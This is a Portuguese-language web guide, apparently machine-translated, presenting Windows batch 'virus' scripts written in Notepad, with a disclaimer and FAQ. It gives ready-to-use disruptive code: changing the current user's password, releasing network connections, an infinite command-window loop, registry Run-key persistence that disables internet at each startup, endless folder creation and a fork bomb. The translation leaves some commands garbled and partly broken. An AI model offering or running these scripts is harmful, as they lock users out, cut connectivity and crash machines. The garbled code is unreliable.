Bem-vindo a este guia técnico onde iremos analisar quão simplesNotas em bloco(Notepad) Windows pode ser usado para escrever scripts que alteram o funcionamento do sistema. Abaixo, vou mostrar-lhe o código para criar estes “vírus” (que são tecnicamente arquivos em lote), para fins de teste puros eeducação em segurança informáticaAntes de começar, peço-lhe que leia atentamente algumas recomendações importantes.
Não tenho responsabilidade de usar os códigos deste artigo. O único propósito deste guia é informativo e educativo. Todas as consequências causadas pela execução indevida destes scripts no seu sistema será a sua única responsabilidade.
Todos os scripts mostrados devem ser salvos com a extensão. morcego. Quando você usar o bloco de notas, certifique-se de selecionar “Todos os arquivos” no menu salvar e nomeie o documento, por exemplo, como “vírus. morcego“. Para aprofundar o funcionamento desses executáveis, você pode consultardocumentação oficial dos comandos Windows.
Alterar o nome de utilizador local
@echo off
net user %username% InShadow Forçar o tempo do sistema às 00:00
@echo off
time 00:00 Desactivar a ligação à Internet
ipconfig /release
if ERRORLEVEL1 ipconfig /release_all Criar um Loop infinito do Prompt de Comando
O comandostarté interpretado pelo sistema operacional para iniciar uma nova instância do Prompt de Comando. Programação aciclo (loop) que executa repetidamente a instrução Iniciar, você pode saturar a memória RAM e bloquear o PC por causa das janelas que se abrem ininterruptamente.
: infinitedos
@start
@echo addio…
@start
@Goto infinitedos Desactivar permanentemente a Internet (registro de alterações)
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /dc:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /dc:windowswimn32.bat /f
echo Sei stato hackerato!
PAUSE Como gerar 1.000 pastas em segundos
@echo off
:top
md %random%
GOTO top Provocar um sistema Bater em 3 segundos (bomba de garfo)
for /l %%i in (1,1,10000) do (
md %%i
cd %%i
copy "..\bat.bat"
for /l %%i in (1,1,5) do (
start bat.bat
)
cd..
for /l %%i in (1,1,5) do (
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% Perguntas frequentes (FAQ) sobre os arquivos Lote e CMD
O que é um arquivo .BAT e para que é exatamente isso?
Um arquivo .BAT é um documento de texto contendo uma sequência de instruções. Quando iniciado, o interpretador de linha de comando do Windows (CMD) lê eexecutar estes comandos em sequênciaautomatizar operações de perfuração ou, como mostrado neste guia, simular comportamento agressivo para fins de teste.
Tens a certeza que vais testar estes guiões no meu computador principal?
Absolutamente não. Para preservar ocibersegurançade seus dados, é altamente recomendável executar e testar scripts que alteram chaves de registro ou conexões de redeexclusivamente dentro de uma máquina virtual(Máquina Virtual) protegida e isolada do sistema operacional principal.
Posso usar esses códigos para aprender o básico da programação?
Claro. Aproximando-se do uso do Notepad para escrever arquivos simples .BAT é um dos melhores exercícios propedêuticos para entender a lógica dos ciclos (loop), variáveis de ambiente e interação direta com as bases administrativas do sistema operacional Windows.






